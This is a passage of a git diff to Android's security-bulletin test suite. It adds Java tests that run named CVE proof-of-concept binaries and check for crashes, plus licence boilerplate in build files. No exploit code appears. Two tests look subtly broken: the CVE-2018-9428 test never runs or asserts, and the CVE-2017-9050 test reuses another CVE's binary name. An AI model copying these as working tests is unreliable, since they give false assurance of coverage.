+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-02")
+    @Test
+    public void testPocCVE_2019_1988() throws Exception {
+        String inputFiles[] = {"cve_2019_1988.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-1988",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/63522430
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2018-01")
+    @Test
+    public void testPocCVE_2017_0817() throws Exception {
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/36104177
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2017-09")
+    @Test
+    public void testPocCVE_2017_0670() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
+    }
+
+    /**
+     * b/68159767
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    @Test
+    public void testPocCVE_2017_13234() throws Exception {
+        String inputFiles[] = { "cve_2017_13234.xmf" };
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/74122779
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @SecurityTest(minPatchLevel = "2018-07")
+    @Test
+    public void testPocCVE_2018_9428() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+    }
+
+    /**
+     * b/64340921
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    @Test
+    public void testPocCVE_2017_0837() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/62151041 - Has 4 CVEs filed together
+     */
+    /** 1. CVE-2017-9047
+     * Vulnerability Behaviour: SIGABRT by -fstack-protector
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9047";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 2. CVE-2017-9048
+     * Vulnerability Behaviour: SIGABRT by -fstack-protector
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9048";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 3. CVE-2017-9049
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9049";
+        String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 4. CVE-2017-9050
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9049";
+        String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/23247055
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2015-10")
+    @Test
+    public void testPocCVE_2015_3873() throws Exception {
+        String inputFiles[] = {"cve_2015_3873.mp4"};
+        String binaryName = "CVE-2015-3873";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
      * b/62948670
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
     @SecurityTest(minPatchLevel = "2017-11")
     @Test
     public void testPocCVE_2017_0840() throws Exception {
+        pocPusher.only32();
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0840", null, getDevice(),
                 processPatternStrings);
@@ -59,6 +379,7 @@
     @SecurityTest(minPatchLevel = "2018-02")
     @Test
     public void testPocCVE_2017_13241() throws Exception {
+        pocPusher.only32();
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13241", null, getDevice(),
                 processPatternStrings);
@@ -121,6 +442,24 @@
     }
 
     /**
+     * b/65540999
+     * Vulnerability Behaviour: Assert failure
+     **/
+    @SecurityTest(minPatchLevel = "2017-11")
+    @Test
+    public void testPocCVE_2017_0847() throws Exception {
+        String cmdOut = AdbUtils.runCommandLine("ps -eo cmd,gid | grep mediametrics", getDevice());
+        if (cmdOut.length() > 0) {
+            String[] segment = cmdOut.split("\\s+");
+            if (segment.length > 1) {
+                if (segment[1].trim().equals("0")) {
+                    Assert.fail("mediametrics has root group id");
+                }
+            }
+        }
+    }
+
+    /**
      * b/112005441
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
@@ -145,6 +484,41 @@
      * existing test methods
      ******************************************************************************/
 
+    /**
+     * b/158762825
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-11")
+    @Test
+    public void testPocCVE_2020_0451() throws Exception {
+        assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+        String inputFiles[] = {"cve_2020_0451.aac"};
+        String binaryName = "CVE-2020-0451";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/112891564
+     * Vulnerability Behaviour: SIGSEGV in self (Android P),
+     *                          SIGABRT in self (Android Q onward)
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    @Test
+    public void testPocCVE_2018_9537() throws Exception {
+        String binaryName = "CVE-2018-9537";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
 
     /******************************************************************************
      * To prevent merge conflicts, add tests for Q below this comment, before any
@@ -152,12 +526,90 @@
      ******************************************************************************/
 
     /**
+     * b/143464314
+     * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2020-10")
+    @Test
+    public void testPocCVE_2020_0213() throws Exception {
+        assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+        String inputFiles[] = {"cve_2020_0213.hevc", "cve_2020_0213_info.txt"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0213",
+            AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+            inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/166268541
+     * Vulnerability Behaviour: SIGSEGV in media.swcodec
+     */
+    @SecurityTest(minPatchLevel = "2020-12")
+    @Test
+    public void testPocCVE_2020_0470() throws Exception {
+        String inputFiles[] = {"cve_2020_0470.mp4"};
+        String processPatternStrings[] = {"media\\.swcodec"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0470",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/120426980
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9362() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-9362";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/112661742
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9308() throws Exception {
+        String inputFiles[] = {"cve_2019_9308.mp4"};
+        String binaryName = "CVE-2019-9308";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/112662995
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9357() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-9357";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
      * b/109891727
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
     @SecurityTest(minPatchLevel = "2019-09")
     @Test
     public void testPocCVE_2019_9347() throws Exception {
+        pocPusher.only32();
         String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9347", null, getDevice(),
                 processPatternStrings);
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
index 73aa36e..5a2039a 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostLaunchAnyWhereApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/settings/Android.bp b/hostsidetests/settings/Android.bp
index 164beeee2..66a198b 100644
--- a/hostsidetests/settings/Android.bp
+++ b/hostsidetests/settings/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsSettingsHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
index 5fd8e6b..8bd223d 100644
--- a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
+++ b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSettingsDeviceOwnerApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/shortcuts/deviceside/Android.bp b/hostsidetests/shortcuts/deviceside/Android.bp
index 1981e4a..bd66d27 100644
--- a/hostsidetests/shortcuts/deviceside/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_defaults {
     name: "hostsidetests-shortcuts-deviceside-defaults",
     static_libs: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
index 98df20f..c5705e1 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher1",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
index e6f48a2..52b58c8 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher2",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
index ab286df..b032c0b 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher3",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
index aa3228f..64124bf 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher4new",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
index 96672d6..9167807 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupLauncher4old",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
index 4a82860..d4998ce 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher1",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
index d64693f..ba9b12c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher2",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
index f5eaff73..8dc0019 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher3",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
index 7abb9de..a68c714 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
index 28e0a5c..04e9e81 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new_nobackup",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
index 85c6815..760ea43 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new_nomanifest",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
index 0837f42..323847a 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4new_wrongkey",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
index 96630fc..e8c0487 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4old",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
index d48db7b..13b9227 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutBackupPublisher4old_nomanifest",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/common/Android.bp b/hostsidetests/shortcuts/deviceside/common/Android.bp
index a94a29a..bbd86c8 100644
--- a/hostsidetests/shortcuts/deviceside/common/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/common/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "hostsidetests-shortcuts-deviceside-common",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.bp b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
index dcbdabd..9c3eef4 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutMultiuserTest",
     defaults: [
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
index d664097..098f291 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 // We build two APKs from the same source files, each with a different set of resources.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsShortcutUpgradeVersion1",
     defaults: [
diff --git a/hostsidetests/shortcuts/hostside/Android.bp b/hostsidetests/shortcuts/hostside/Android.bp
index b6ff84f..27ebc0f 100644
--- a/hostsidetests/shortcuts/hostside/Android.bp
+++ b/hostsidetests/shortcuts/hostside/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsShortcutHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
index 97012fb..0542b94 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
@@ -254,4 +254,41 @@
         failWithMessage(message, "expected to contain regex:<" + expectedRegex
                 + "> but was:" + actualDesc);
     }
+
+    protected void waitForBroadcastIdle() throws Exception {
+         runCommand("am wait-for-broadcast-idle");
+    }
+
+    private String runCommand(String command) throws Exception {
+        return runCommand(command, "", true);
+    }
+
+    private String runCommand(String command, String expectedOutputPattern) throws Exception {
+        return runCommand(command, expectedOutputPattern, true);
+    }
+
+    private String runCommandAndNotMatch(String command, String expectedOutputPattern)
+            throws Exception {
+        return runCommand(command, expectedOutputPattern, false);
+    }
+
+    private String runCommand(String command, String expectedOutputPattern,
+            boolean shouldMatch) throws Exception {
+        CLog.d("Executing command: " + command);
+        final String output = getDevice().executeShellCommand(command);
+
+        CLog.d("Output:\n"
+                + "====================\n"
+                + output
+                + "====================");
+
+        final Pattern pat = Pattern.compile(
+                expectedOutputPattern, Pattern.MULTILINE | Pattern.COMMENTS);
+        if (pat.matcher(output.trim()).find() != shouldMatch) {
+            fail("Output from \"" + command + "\" "
+                    + (shouldMatch ? "didn't match" : "unexpectedly matched")
+                    + " \"" + expectedOutputPattern + "\"");
+        }
+        return output;
+    }
 }
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
index 08baa6c..3ad2541 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
@@ -67,6 +67,8 @@
         getDevice().startUser(secondUserID, true);
         getDevice().switchUser(secondUserID);
         installAppAsUser(TARGET_APK, secondUserID);
+        waitForBroadcastIdle();
+        Thread.sleep(5000);
 
         runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerSecondaryUserTest", secondUserID);
 
diff --git a/hostsidetests/signedconfig/app/Android.bp b/hostsidetests/signedconfig/app/Android.bp
index e47f9b7..8d69ce9 100644
--- a/hostsidetests/signedconfig/app/Android.bp
+++ b/hostsidetests/signedconfig/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_defaults {
     name: "CtsSignedConfigDefaults",
     sdk_version: "current",
diff --git a/hostsidetests/signedconfig/hostside/Android.bp b/hostsidetests/signedconfig/hostside/Android.bp
index ebb4aaa..db3e84f 100644
--- a/hostsidetests/signedconfig/hostside/Android.bp
+++ b/hostsidetests/signedconfig/hostside/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsSignedConfigHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 3e87531..8ea3089 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsStagedInstallHostTestCases",
     defaults: ["cts_defaults"],
